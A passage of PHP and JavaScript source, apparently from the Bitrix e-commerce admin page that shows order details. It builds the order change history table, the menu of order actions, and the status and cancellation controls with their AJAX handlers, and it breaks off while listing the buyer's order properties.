"PS_STATUS_DESCRIPTION" => GetMessage('SOD_HIST_PS_STATUS_DESCRIPTION'),
"PS_STATUS_MESSAGE" => GetMessage('SOD_HIST_PS_STATUS_MESSAGE'),
"PS_SUM" => GetMessage('SOD_HIST_PS_SUM'),
"PS_CURRENCY" => GetMessage('SOD_HIST_PS_CURRENCY'),
"PS_RESPONSE_" => GetMessage('SOD_HIST_PS_RESPONSE_'),
"TAX_VALUE" => GetMessage('SOD_HIST_TAX_VALUE'),
"STAT_GID" => GetMessage('SOD_HIST_STAT_GID'),
"SUM_PAID" => GetMessage('SOD_HIST_SUM_PAID'),
"RECURRING_ID" => GetMessage('SOD_HIST_RECURRING_ID'),
"PAY_VOUCHER_NUM" => GetMessage('SOD_HIST_PAY_VOUCHER_NUM'),
"PAY_VOUCHER_DATE" => GetMessage('SOD_HIST_PAY_VOUCHER_DATE'),
"RECOUNT_FLAG" => GetMessage('SOD_HIST_RECOUNT_FLAG'),
"AFFILIATE_ID" => GetMessage('SOD_HIST_AFFILIATE_ID'),
"DELIVERY_DOC_NUM" => GetMessage('SOD_HIST_DELIVERY_DOC_NUM'),
"DELIVERY_DOC_DATE" => GetMessage('SOD_HIST_DELIVERY_DOC_DATE')
);
//get status order
$arOrderStatus = array();
$dbStatusList = CSaleStatus::GetList(
array("SORT" => "ASC"),
array("LID" => LANGUAGE_ID),
false,
false,
array("ID", "NAME")
);
while ($arStatusList = $dbStatusList->Fetch())
$arOrderStatus[htmlspecialcharsbx($arStatusList["ID"])] = htmlspecialcharsbx($arStatusList["NAME"]);
//get delivery
$arDelivery = array();
$dbDeliveryList = CSaleDelivery::GetList(
array("SORT" => "ASC"),
array()
);
while ($arDeliveryList = $dbDeliveryList->Fetch())
$arDelivery[$arDeliveryList["ID"]] = htmlspecialcharsbx($arDeliveryList["NAME"]);
//get paysystem
$arPaySystem = array();
$dbPaySystemList = CSalePaySystem::GetList(
array("SORT"=>"ASC"),
array()
);
while ($arPaySystemList = $dbPaySystemList->Fetch())
$arPaySystem[$arPaySystemList["ID"]] = htmlspecialcharsbx($arPaySystemList["NAME"]);
$sTableID_tab5 = "table_order_change";
$oSort_tab5 = new CAdminSorting($sTableID_tab5);
$lAdmin_tab5 = new CAdminList($sTableID_tab5, $oSort_tab5);
//FILTER ORDER CHANGE HISTORY
$arFilterFields = array(
"filter_user",
"filter_date_history",
"filter_type"
);
$lAdmin_tab5->InitFilter($arFilterFields);
$by = trim(array_key_exists('by', $_REQUEST) ? $_REQUEST['by'] : '');
if ('' == $by)
$by = 'DATE_CREATE';
$order = trim(array_key_exists('order', $_REQUEST) ? $_REQUEST['order'] : '');
if ('' == $order)
$order = 'DESC';
$arHistSort[$by] = $order;
$arHistSort["ID"] = $order;
$arFilterHistory = array("ORDER_ID" => $ID);
if (strlen($filter_type)>0) $arFilterHistory["TYPE"] = trim($filter_type);
if (IntVal($filter_user)>0) $arFilterHistory["USER_ID"] = intval($filter_user);
if (strlen($filters_date_history_from)>0)
{
$arFilterHistory["DATE_CREATE_FROM"] = Trim($filters_date_history_from);
}
if (strlen($filters_date_history_to)>0)
{
if ($arDate = ParseDateTime($filters_date_history_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if (StrLen($filters_date_history_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filters_date_history_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilterHistory["DATE_CREATE_TO"] = $filters_date_history_to;
}
else
$filters_date_history_to = "";
}
$arHistoryData = array();
$bUseOldHistory = false;
// collect records from old history to show in the new order changes list
$dbHistory = CSaleOrder::GetHistoryList(
array("H_DATE_INSERT" => "DESC"),
array("H_ORDER_ID" => $ID),
false,
false,
array("*")
);
while ($arHistory = $dbHistory->Fetch())
{
$res = convertHistoryToNewFormat($arHistory);
if ($res)
{
$arHistoryData[] = $res;
$bUseOldHistory = true;
}
}
// new order history data
$dbOrderChange = CSaleOrderChange::GetList(
$arHistSort,
$arFilterHistory,
false,
false,
array("*")
);
while ($arChangeRecord = $dbOrderChange->Fetch())
$arHistoryData[] = $arChangeRecord;
// advancing sorting is necessary if old history results are mixed with new order changes
if ($bUseOldHistory)
{
$arData = array();
foreach ($arHistoryData as $index => $arHistoryRecord)
$arData[$index] = $arHistoryRecord[$by];
$arIds = array();
foreach ($arHistoryData as $index => $arHistoryRecord)
$arIds[$index] = $arHistoryRecord["ID"];
array_multisort($arData, constant("SORT_".ToUpper($order)), $arIds, constant("SORT_".ToUpper($order)), $arHistoryData);
}
$dbRes = new CDBResult;
$dbRes->InitFromArray($arHistoryData);
$dbRecords = new CAdminResult($dbRes, $sTableID_tab5);
$dbRecords->NavStart();
$lAdmin_tab5->NavText($dbRecords->GetNavPrint(GetMessage('SOD_HIST_LIST')));
$histdHeader = array(
array("id"=>"DATE_CREATE", "content"=>GetMessage("SOD_HIST_H_DATE"), "sort"=>"DATE_CREATE", "default"=>true),
array("id"=>"USER_ID", "content"=>GetMessage("SOD_HIST_H_USER"), "sort"=>"USER_ID", "default"=>true),
array("id"=>"TYPE", "content"=>GetMessage("SOD_HIST_TYPE"), "sort"=>"TYPE", "default"=>true),
array("id"=>"DATA", "content"=>GetMessage("SOD_HIST_DATA"), "sort"=>"", "default"=>true),
);
$lAdmin_tab5->AddHeaders($histdHeader);
$arOperations = array();
while ($arChangeRecord = $dbRecords->Fetch())
{
$row =& $lAdmin_tab5->AddRow($arChangeRecord["ID"], $arChangeRecord, '', '');
$stmp = MakeTimeStamp($arChangeRecord["DATE_CREATE"], "DD.MM.YYYY HH:MI:SS");
$row->AddField("DATE_CREATE", date("d.m.Y H:i", $stmp));
$row->AddField("USER_ID", GetFormatedUserName($arChangeRecord["USER_ID"], false));
$arRecord = CSaleOrderChange::GetRecordDescription($arChangeRecord["TYPE"], $arChangeRecord["DATA"]);
$row->AddField("TYPE", $arRecord["NAME"]);
$row->AddField("DATA", htmlspecialcharsbx($arRecord["INFO"]));
$arOperations[$arChangeRecord["TYPE"]] = $arRecord["NAME"];
}
if($_REQUEST["table_id"]==$sTableID_tab5)
$lAdmin_tab5->CheckListMode();
//end get history order list
$aTabs = array();
$aTabs[] = array("DIV" => "edit1", "TAB" => GetMessage("SODN_TAB_ORDER"), "TITLE" => GetMessage("SODN_TAB_ORDER_DESCR"), "ICON" => "sale");
$aTabs[] = array("DIV" => "edit3", "TAB" => GetMessage("SODN_TAB_TRANSACT"), "TITLE" => GetMessage("SODN_TAB_TRANSACT_DESCR"), "ICON" => "sale");
$aTabs[] = array("DIV" => "edit4", "TAB" => GetMessage("SODN_TAB_HISTORY"), "TITLE" => GetMessage("SODN_TAB_HISTORY_DESCR"), "ICON" => "sale");
$tabControl = new CAdminForm("order_view_info", $aTabs, true, true);
$tabControl->SetShowSettings(false);
$tabControl->AddTabs($customTabber);
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
$aMenu = array(
array(
"TEXT" => GetMessage("SOD_TO_LIST"),
"LINK" => "/bitrix/admin/sale_order_detail.php?ID=".$ID."&dontsave=Y&lang=".LANGUAGE_ID.GetFilterParams("filter_"),
"ICON"=>"btn_list",
)
);
if ($boolLocked && $saleModulePermissions >= 'W')
{
$aMenu[] = array(
"TEXT" => GetMessage("SOD_TO_UNLOCK"),
"LINK" => "/bitrix/admin/sale_order_detail.php?ID=".$ID."&unlock=Y&lang=".LANGUAGE_ID.GetFilterParams("filter_"),
);
}
if ($bUserCanEditOrder)
{
if (!$boolLocked)
{
$aMenu[] = array(
"TEXT" => GetMessage("SOD_TO_EDIT"),
"LINK" => "/bitrix/admin/sale_order_edit.php?ID=".$ID."&lang=".LANGUAGE_ID.GetFilterParams("filter_"),
"ICON"=>"btn_edit",
);
}
$aMenu[] = array(
"TEXT" => GetMessage("SOD_TO_NEW_ORDER"),
"LINK" => "/bitrix/admin/sale_order_edit.php?lang=".LANGUAGE_ID."&SITE_ID=".$arOrder["LID"],
"ICON"=>"btn_edit",
);
}
$aMenu[] = array(
"TEXT" => GetMessage("SOD_TO_PRINT"),
"LINK" => "/bitrix/admin/sale_order_print.php?ID=".$ID."&lang=".LANGUAGE_ID.GetFilterParams("filter_"),
);
if (!$boolLocked && ($saleModulePermissions == "W" || $arOrder["PAYED"] != "Y" && $bUserCanDeleteOrder))
{
$aMenu[] = array(
"TEXT" => GetMessage("SODN_CONFIRM_DEL"),
"LINK" => "javascript:if(confirm('".GetMessageJS("SODN_CONFIRM_DEL_MESSAGE")."')) window.location='sale_order.php?ID=".$ID."&action=delete&lang=".LANGUAGE_ID."&".bitrix_sessid_get().urlencode(GetFilterParams("filter_"))."'",
"WARNING" => "Y",
"ICON"=>"btn_delete",
);
}
$link = DeleteParam(array("mode"));
$link = $APPLICATION->GetCurPage()."?mode=settings".($link <> ""? "&".$link:"");
$context = new CAdminContextMenu($aMenu);
$context->Show();
if ($boolLocked)
{
CAdminMessage::ShowMessage(array(
'MESSAGE' => $strLockUserInfoExt,
'TYPE' => 'ERROR',
'HTML' => true
));
}
CAdminMessage::ShowMessage($errorMessage);
if (strlen($save_order_result) > 0)
{
$okMessage = "";
if ($save_order_result == "ok_status")
$okMessage = GetMessage("SOD_OK_STATUS");
elseif ($save_order_result == "ok_cancel")
$okMessage = GetMessage("SOD_OK_CANCEL");
elseif ($save_order_result == "ok_pay")
$okMessage = GetMessage("SOD_OK_PAY");
elseif ($save_order_result == "ok_delivery")
$okMessage = GetMessage("SOD_OK_DELIVERY");
elseif ($save_order_result == "ok_comment")
$okMessage = GetMessage("SOD_OK_COMMENT");
elseif ($save_order_result == "ok_ps")
$okMessage = GetMessage("SOD_OK_PS");
else
$okMessage = GetMessage("SOD_OK_OK");
CAdminMessage::ShowNote($okMessage);
}
$res = \Bitrix\Sale\Internals\PaymentTable::getList(array(
'select' => array('CNT'),
'filter' => array(
'ORDER_ID' => $ID
),
'runtime' => array(
'CNT' => array(
'data_type' => 'integer',
'expression' => array('COUNT(ID)')
)
)
));
$payment = $res->fetch();
$res = \Bitrix\Sale\Internals\ShipmentTable::getList(array(
'select' => array('CNT'),
'filter' => array(
'ORDER_ID' => $ID
),
'runtime' => array(
'CNT' => array(
'data_type' => 'integer',
'expression' => array('COUNT(ID)')
)
)
));
$shipment = $res->fetch();
if ($payment['CNT'] > 1 || ($shipment['CNT'] - 1) > 1)
{
$note = BeginNote();
$note .= GetMessage('SOD_ERROR_SEVERAL_P_D');
$note .= EndNote();
echo $note;
}
if (!$bUserCanViewOrder)
{
CAdminMessage::ShowMessage(str_replace("#ID#", $ID, GetMessage("SOD_NO_PERMS2VIEW")).". ");
}
else
{
if (!$boolLocked)
CSaleOrder::Lock($ID);
$customOrderView = COption::GetOptionString("sale", "path2custom_view_order", "");
if (strlen($customOrderView) > 0
&& file_exists($_SERVER["DOCUMENT_ROOT"].$customOrderView)
&& is_file($_SERVER["DOCUMENT_ROOT"].$customOrderView))
{
include($_SERVER["DOCUMENT_ROOT"].$customOrderView);
}
else
{
$arBasketId = array();
$arBasketItems = array();
$arBasketPropsValues = array();
$arElementId = array();
$arSku2Parent = array();
$orderBasketPrice = 0;
$orderTotalPrice = 0;
$orderTotalWeight = 0;
$parentItemFound = false;
$dbBasketTmp = CSaleBasket::GetList(
array("ID" => "ASC"),
array("ORDER_ID" => $ID),
false,
false,
array(
"ID", "PRODUCT_ID", "PRODUCT_PRICE_ID", "PRICE", "CURRENCY", "WEIGHT",
"QUANTITY", "NAME", "MODULE", "CALLBACK_FUNC", "NOTES", "DETAIL_PAGE_URL", "DISCOUNT_PRICE",
"DISCOUNT_VALUE", "ORDER_CALLBACK_FUNC", "CANCEL_CALLBACK_FUNC", "PAY_CALLBACK_FUNC", "CATALOG_XML_ID",
"PRODUCT_XML_ID", "VAT_RATE", "DISCOUNT_NAME", "DISCOUNT_COUPON", "PRODUCT_PROVIDER_CLASS", "CUSTOM_PRICE",
"TYPE", "SET_PARENT_ID", "DIMENSIONS", "RECOMMENDATION"
)
);
while ($arBasketTmp = $dbBasketTmp->GetNext())
{
$arBasketId[] = $arBasketTmp["ID"];
$arBasketTmp["DIMENSIONS"] = unserialize($arBasketTmp["~DIMENSIONS"]);
$arBasketItems[] = $arBasketTmp;
if (CModule::IncludeModule("catalog"))
{
$arParent = CCatalogSku::GetProductInfo($arBasketTmp["PRODUCT_ID"]);
if ($arParent)
{
$arElementId[] = $arParent["ID"];
$arSku2Parent[$arBasketTmp["PRODUCT_ID"]] = $arParent["ID"];
}
}
$arElementId[] = $arBasketTmp["PRODUCT_ID"];
$arBasketPropsValues[$arBasketTmp["PRODUCT_ID"]] = array();
if (!CSaleBasketHelper::isSetItem($arBasketTmp))
{
$orderTotalPrice += ($arBasketTmp["PRICE"] + $arBasketTmp["DISCOUNT_PRICE"]) * $arBasketTmp["QUANTITY"];
$orderBasketPrice += $arBasketTmp["PRICE"] * $arBasketTmp["QUANTITY"];
}
if (!CSaleBasketHelper::isSetParent($arBasketTmp))
{
$orderTotalWeight += floatval($arBasketTmp["WEIGHT"] * $arBasketTmp["QUANTITY"]);
}
if (CSaleBasketHelper::isSetParent($arBasketTmp) || CSaleBasketHelper::isSetItem($arBasketTmp))
{
$parentItemFound = true;
}
}
if ($parentItemFound === true && !empty($arBasketItems) && is_array($arBasketItems))
{
$arBasketItems = CSaleBasketHelper::reSortItems($arBasketItems);
}
?>
<style type="text/css">
.bx-adm-bigdata-icon-medium-inner{
position: relative;
top: -5px;
display: block;
width:24px;
height: 24px;
background: url('/bitrix/panel/main/images/icons-sprite-7.png') no-repeat center -2176px;
float: left;
margin-right: 10px;
}
</style>
<?
$tabControl->BeginEpilogContent();
?>
<?= GetFilterHiddens("filter_"); ?>
<?= bitrix_sessid_post(); ?>
<input type="hidden" name="lang" value="<? echo LANGUAGE_ID; ?>">
<input type="hidden" name="ID" value="<? echo $ID; ?>">
<input type="hidden" name="save_order_data" value="Y">
<?
$tabControl->EndEpilogContent();
$tabControl->Begin();
$tabControl->BeginNextFormTab();
$tabControl->AddSection("order_id", GetMessage("P_ORDER_ID"));
$tabControl->BeginCustomField("ORDER_ACCOUNT_NUMBER", GetMessage("SOD_ORDER_ACCOUNT_NUMBER"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%"><?echo $arOrder["ACCOUNT_NUMBER"]?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_ACCOUNT_NUMBER", '');
$tabControl->BeginCustomField("ORDER_DATE_CREATE", GetMessage("SOD_ORDER_DATE_CREATE"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%"><?echo $arOrder["DATE_INSERT"]?></td>
</tr>
<?
$tabControl->EndCustomField("ORDER_DATE_CREATE", '');
$tabControl->BeginCustomField("DATE_UPDATE", GetMessage("SOD_DATE_UPDATE"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%"><?echo $arOrder["DATE_UPDATE"]?></td>
</tr>
<?
$tabControl->EndCustomField("DATE_UPDATE", '');
$arSitesShop = array();
$rsSites = CSite::GetList($by="id", $order="asc", Array("ACTIVE" => "Y"));
while ($arSite = $rsSites->Fetch())
{
$site = COption::GetOptionString("sale", "SHOP_SITE_".$arSite["ID"], "");
if ($arSite["ID"] == $site)
{
$arSitesShop[$arSite["ID"]] = array("ID" => $arSite["ID"], "NAME" => $arSite["NAME"]);
}
}
if (count($arSitesShop) > 1)
{
$tabControl->BeginCustomField("ORDER_SITE", GetMessage("ORDER_SITE"), true);
?>
<tr>
<td width="40%">
<?= GetMessage("ORDER_SITE") ?>:
</td>
<td width="60%"><?=htmlspecialcharsbx($arSitesShop[$arOrder["LID"]]["NAME"])." (".$arOrder["LID"].")"?>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_SITE");
}
$tabControl->BeginCustomField("ORDER_STATUS", GetMessage("SOD_CUR_STATUS"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%">
<?
$arStatusList = False;
$arFilter = array("LID" => LANG);
$arGroupByTmp = false;
if ($saleModulePermissions < "W")
{
$arFilter["GROUP_ID"] = $arUserGroups;
$arFilter["PERM_STATUS_FROM"] = "Y";
$arFilter["ID"] = $arOrder["STATUS_ID"];
$arGroupByTmp = array("ID", "NAME", "MAX" => "PERM_STATUS_FROM");
}
$dbStatusList = CSaleStatus::GetList(
array(),
$arFilter,
$arGroupByTmp,
false,
array("ID", "NAME", "PERM_STATUS_FROM")
);
$arStatusList = $dbStatusList->GetNext();
$statusOrder = "";
?>
<div id="editStatusDIV">
<select name="STATUS_ID" id="STATUS_ID" <? echo (!$boolLocked ? 'onchange="BX(\'change_status\').value=\'Y\';"': ''); ?>>
<?
if ($arStatusList)
{
$arFilter = array("LID" => LANG);
$arGroupByTmp = false;
if ($saleModulePermissions < "W")
{
$arFilter["GROUP_ID"] = $arUserGroups;
$arFilter["PERM_STATUS"] = "Y";
}
$dbStatusListTmp = CSaleStatus::GetList(
array("SORT" => "ASC"),
$arFilter,
$arGroupByTmp,
false,
array("ID", "NAME", "SORT")
);
while($arStatusListTmp = $dbStatusListTmp->GetNext())
{
$select = "";
if ($arStatusListTmp["ID"]==$arOrder["STATUS_ID"])
$select = " selected";
$statusOrder .= '<option value="'.$arStatusListTmp["ID"].'" '.$select.'>'.$arStatusListTmp["NAME"].'</option>';
}
}
echo $statusOrder;
?>
</select>
<input type="hidden" name="change_status" id="change_status" value="N">
<input type="hidden" name="change_status_popup" id="change_status_popup" value="N"><?
if (!$boolLocked)
{
?><a href="javascript:void(0);" onclick="fChangeStatus();return false;" class="adm-btn"><?=GetMessage('SALE_SAVE');?></a><?
}
else
{
?><a href="javascript:void(0);" onclick="return false;" class="adm-btn-disabled" title="<? echo $strLockUserExt; ?>"><?=GetMessage('SALE_SAVE');?></a><?
}
?>
<span id="change_status_err" style="display: none;"></span>
<script type="text/javascript">
function fChangeStatus()
{
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = '';
obStatusErr.style.display = 'none';
}
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&change_status=Y&STATUS_ID='+BX('STATUS_ID').value+'&ID=<?=$ID?>', fChangeStatusResult);
return false;
}
function fChangeStatusResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (!!rs.STATUS_ERR && true == rs.STATUS_ERR)
{
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = rs.STATUS_ERR_MESS;
obStatusErr.style.display = 'inline-block';
}
}
else
{
if (BX('date_status_change') && rs['DATE_STATUS'] && rs['DATE_STATUS'].length > 0)
BX('date_status_change').innerHTML = rs['DATE_STATUS'] + ' ' + rs['EMP_STATUS_ID'];
}
BX('change_status').value = 'N';
}
</script>
</div>
</td>
</tr>
<?if(strlen($arOrder["DATE_STATUS"]) > 0):?>
<tr>
<td><?=GetMessage('SOD_DATE_STATUS');?>:</td>
<td id="date_status_change"><?=$arOrder["DATE_STATUS"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_STATUS_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_STATUS_ID"], false);
?>
</td>
</tr>
<?endif;?>
<?
$tabControl->EndCustomField("ORDER_STATUS", '');
$tabControl->BeginCustomField("ORDER_CANCELED", GetMessage("SOD_CANCEL_Y"));
?>
<tr id="btn_show_cancel" style="display:<?=($arOrder["CANCELED"] == "N" && $bUserCanCancelOrder) ? 'table-row' : 'none'?>">
<td width="40%"> </td>
<td valign="middle"><?
if (!$boolLocked)
{
?><a title="<?=GetMessage('SOD_CANCEL_Y')?>" onclick="fShowCancelOrder(this, '');" class="adm-btn-wrap" href="javascript:void(0);"><span class="adm-btn"><?=GetMessage('SOD_CANCEL_Y')?></span></a><?
}
else
{
?><a title="<? echo $strLockUserExt; ?>" class="adm-btn-wrap" href="javascript:void(0);"><span class="adm-btn-disabled"><?=GetMessage('SOD_CANCEL_Y')?></span></a><?
}
?></td>
</tr>
<tr id="user_can_cancel" style="display:<?=($arOrder["CANCELED"] == "N" && !$bUserCanCancelOrder) ? 'table-row' : 'none'?>">
<td width="40%">
<?=GetMessage("SOD_CANCELED")?>
</td>
<td valign="middle">
<?=GetMessage("SALE_NO")?>
</td>
</tr>
<tr id="btn_cancel_cancel" style="display:<?=($arOrder["CANCELED"] != "N") ? 'table-row' : 'none'?>">
<td>
<span class="order_cancel_left"><?=GetMessage("SOD_CANCELED")?>:</span>
</td>
<td valign="top">
<span class="order_cancel_right"><?=GetMessage("SALE_YES")?></span><?
if($bUserCanCancelOrder)
{
?> <?
if (!$boolLocked)
{
?><a href="javascript:void(0);" onclick="fCancelCancelOrder();" class="adm-btn-wrap"><span class="adm-btn"><?=GetMessage('SOD_CANCEL_N');?></span></a><?
}
else
{
?><a href="javascript:void(0);" class="adm-btn-wrap"><span class="adm-btn-disabled" title="<? echo $strLockUserExt; ?>"><?=GetMessage('SOD_CANCEL_N');?></span></a><?
}
}
?>
</td>
</tr>
<tr id="date_change_cancel" style="display:<?=(strlen($arOrder["DATE_CANCELED"]) > 0) ? 'table-row' : 'none'?>">
<td>
<?=GetMessage('SOD_DATE_CANCELED');?>:
</td>
<td id="date_change_cancel_user">
<?=$arOrder["DATE_CANCELED"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_CANCELED_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_CANCELED_ID"], false);
?>
</td>
</tr>
<tr id="reason_cancel" style="display:<?=(strlen($arOrder["REASON_CANCELED"]) > 0) ? 'table-row' : 'none'?>">
<td>
<?=GetMessage('SOD_CANCEL_REASON_TITLE')?>:
</td>
<td id="reason_cancel_text">
<?=htmlspecialcharsbx($arOrder["REASON_CANCELED"])?>
</td>
</tr>
<tr>
<td valign="top">
<div id="popup_cancel_order_form" class="sale_popup_form" style="display:none; font-size:13px;">
<table>
<tr>
<td colspan="2"><?=GetMessage('SOD_CANCEL_REASON_TITLE')?><br />
<?if(CSaleYMHandler::isOrderFromYandex($ID)):
$reasonDisp = 'style="display: none;" ';
?>
<?=CSaleYMHandler::getCancelReasonsAsRadio("FORM_REASON_CANCELED", "FORM_REASON_CANCELED", false)?>
<?else:
$reasonDisp = "";
?>
<?endif;?>
<textarea <?=$reasonDisp?>name="FORM_REASON_CANCELED" id="FORM_REASON_CANCELED" rows="3" cols="30"><?= htmlspecialcharsEx($arOrder["REASON_CANCELED"]) ?></textarea>
<br /><small><?=GetMessage('SOD_CANCEL_REASON_ADIT')?></small>
</td>
</tr>
</table>
</div>
<script type="text/javascript">
function fCancelCancelOrder()
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&'+'&change_cancel=Y&CANCELED=N&ID=<?=$ID?>', fCancelCancelOrderResult);
}
function fCancelCancelOrderResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (rs["message"] == "ok")
{
BX('btn_cancel_cancel').style.display = "none";
BX('btn_show_cancel').style.display = "table-row";
BX('reason_cancel').style.display = "none";
if (rs["DATE_CANCELED"].length > 0)
BX('date_change_cancel_user').innerHTML = rs["DATE_CANCELED"] + ' ' + rs["EMP_CANCELED_ID"];
BX('date_change_cancel').style.display = "table-row";
}
}
function fChangeCancelResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (rs["message"] == "ok")
{
var emp_cancel_user = '';
BX('btn_show_cancel').style.display = "none";
BX('btn_cancel_cancel').style.display = "table-row";
if (rs["DATE_CANCELED"] && rs["DATE_CANCELED"].length > 0)
emp_cancel_user = rs["DATE_CANCELED"];
if (rs["EMP_CANCELED_ID"] && rs["EMP_CANCELED_ID"].length > 0)
emp_cancel_user += ' ' + rs["EMP_CANCELED_ID"];
if (BX('date_change_cancel_user') && emp_cancel_user.length > 0)
BX('date_change_cancel_user').innerHTML = emp_cancel_user;
BX('date_change_cancel').style.display = "table-row";
BX('reason_cancel_text').innerHTML = BX('FORM_REASON_CANCELED').value;
BX('reason_cancel').style.display = "table-row";
}
fCheckReservationResult(rs);
}
function fShowCancelOrder(el, type)
{
formCancelOrder = BX.PopupWindowManager.create("sale-popup-cancel", el, {
offsetTop : -100,
offsetLeft : -150,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '<? echo GetMessageJS("SOD_CANCEL_ORDER"); ?>', 'props': {'className': 'sale-popup-title-bar'}})},
content : BX("popup_cancel_order_form")
});
formCancelOrder.setButtons([
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_SAVE')?>",
className : "",
events : {
click : function()
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&'+'&change_cancel=Y&CANCELED=Y&REASON_CANCELED='+BX('FORM_REASON_CANCELED').value+'&ID=<?=$ID?>', fChangeCancelResult);
formCancelOrder.close();
}
}
}),
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_CANCEL')?>",
className : "",
events : {
click : function()
{
BX('FORM_REASON_CANCELED').value = '';
formCancelOrder.close();
}
}
})
]);
formCancelOrder.show();
BX('FORM_REASON_CANCELED').focus();
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_CANCELED", '');
$tabControl->BeginCustomField("ORDER_AFFILIATE", GetMessage("P_ORDER_AFFILIATE"));
if (IntVal($arOrder["AFFILIATE_ID"]) > 0):
?>
<tr>
<td width="40%"><?echo GetMessage("P_ORDER_AFFILIATE")?>:</td>
<td width="60%">
<?
$dbAffiliate = CSaleAffiliate::GetList(
array(),
array("ID" => $arOrder["AFFILIATE_ID"]),
false,
false,
array("ID", "SITE_ID", "USER_ID", "USER_LOGIN", "USER_NAME", "USER_LAST_NAME")
);
if ($arAffiliate = $dbAffiliate->Fetch())
echo '<a href="sale_affiliate_edit.php?ID='.intval($arOrder["AFFILIATE_ID"]).'&lang='.LANGUAGE_ID.'">'.$arAffiliate["USER_NAME"].' '.$arAffiliate["USER_LAST_NAME"].' ('.$arAffiliate["USER_LOGIN"].')</a>';
?>
</td>
</tr>
<?
endif;
$tabControl->EndCustomField("ORDER_AFFILIATE", '');
$tabControl->AddSection("order_user", GetMessage("P_ORDER_USER_ACC"));
$tabControl->BeginCustomField("ORDER_PROPS", GetMessage("SOD_ORDER_PROPS"));
$dbUser = CUser::GetByID($arOrder["USER_ID"]);
$arUser = $dbUser->Fetch();
?>
<tr>
<td valign="top" width="40%"><?=GetMessage('SOD_BUYER_LOGIN')?>:</td>
<td valign="middle"><?
$strBuyerProfileUrl = '';
if (CBXFeatures::IsFeatureEnabled('SaleAccounts'))
{
$strBuyerProfileUrl = '/bitrix/admin/sale_buyers_profile.php?USER_ID='.$arOrder["USER_ID"].'&lang='.LANGUAGE_ID;
}
else
{
$strBuyerProfileUrl = '/bitrix/admin/user_edit.php?ID='.$arOrder["USER_ID"].'&lang='.LANGUAGE_ID;
}
?><a href="<? echo $strBuyerProfileUrl; ?>"><? echo htmlspecialcharsEx($arUser["LOGIN"]); ?></a></td>
</tr>
<tr>
<td valign="top"><?echo GetMessage("P_ORDER_PERS_TYPE")?>:</td>
<td valign="middle"><?
$arPersonType = CSalePersonType::GetByID($arOrder["PERSON_TYPE_ID"]);
echo htmlspecialcharsEx($arPersonType["NAME"]);
?>
</td>
</tr>
<?
//disabled town
$arTownOrderProps = array();
$dbProperties = CSaleOrderProps::GetList(
array(),
array(
"ORDER_ID" => $ID,
"PERSON_TYPE_ID" => $arPersonType["ID"],
"ACTIVE" => "Y",
">INPUT_FIELD_LOCATION" => 0
),
false,
false,
array("INPUT_FIELD_LOCATION")
);
while ($arProperties = $dbProperties->Fetch())
$arTownOrderProps[$arProperties["INPUT_FIELD_LOCATION"]] = $arProperties["INPUT_FIELD_LOCATION"];
$arEnableTownProps = array();
$arOrderPropsValue = array();
$dbOrderProps = CSaleOrderPropsValue::GetOrderProps($ID);
while ($arOrderProps = $dbOrderProps->Fetch())
{
$arOrderPropsValue[] = $arOrderProps;
if ($arOrderProps["TYPE"] == "LOCATION" && $arOrderProps["ACTIVE"] == "Y" && $arOrderProps["IS_LOCATION"] == "Y" && in_array($arOrderProps["INPUT_FIELD_LOCATION"], $arTownOrderProps))
{
if(CSaleLocation::isLocationProMigrated())
{
$arEnableTownProps[$arOrderProps["INPUT_FIELD_LOCATION"]] = true; //CSaleLocation::checkLocationIsAboveCity($arOrderProps["VALUE"]);
}
else
{
$arLocation = CSaleLocation::GetByID($arOrderProps["VALUE"]);
if (IntVal($arLocation["CITY_ID"]) <= 0)
$arEnableTownProps[$arOrderProps["INPUT_FIELD_LOCATION"]] = true;
else
$arEnableTownProps[$arOrderProps["INPUT_FIELD_LOCATION"]] = false;
}
}
}
$iGroup = -1;
$locationData = 0;
$locationZip = 0;
foreach ($arOrderPropsValue as $arOrderProps)
{
if ($iGroup != IntVal($arOrderProps["PROPS_GROUP_ID"]))
{
?>
<tr>
<td colspan="2" style="text-align:center;font-weight:bold;font-size:14px;color:rgb(75, 98, 103);"><?=htmlspecialcharsEx($arOrderProps["GROUP_NAME"]);?></td>
</tr>
<?
$iGroup = IntVal($arOrderProps["PROPS_GROUP_ID"]);
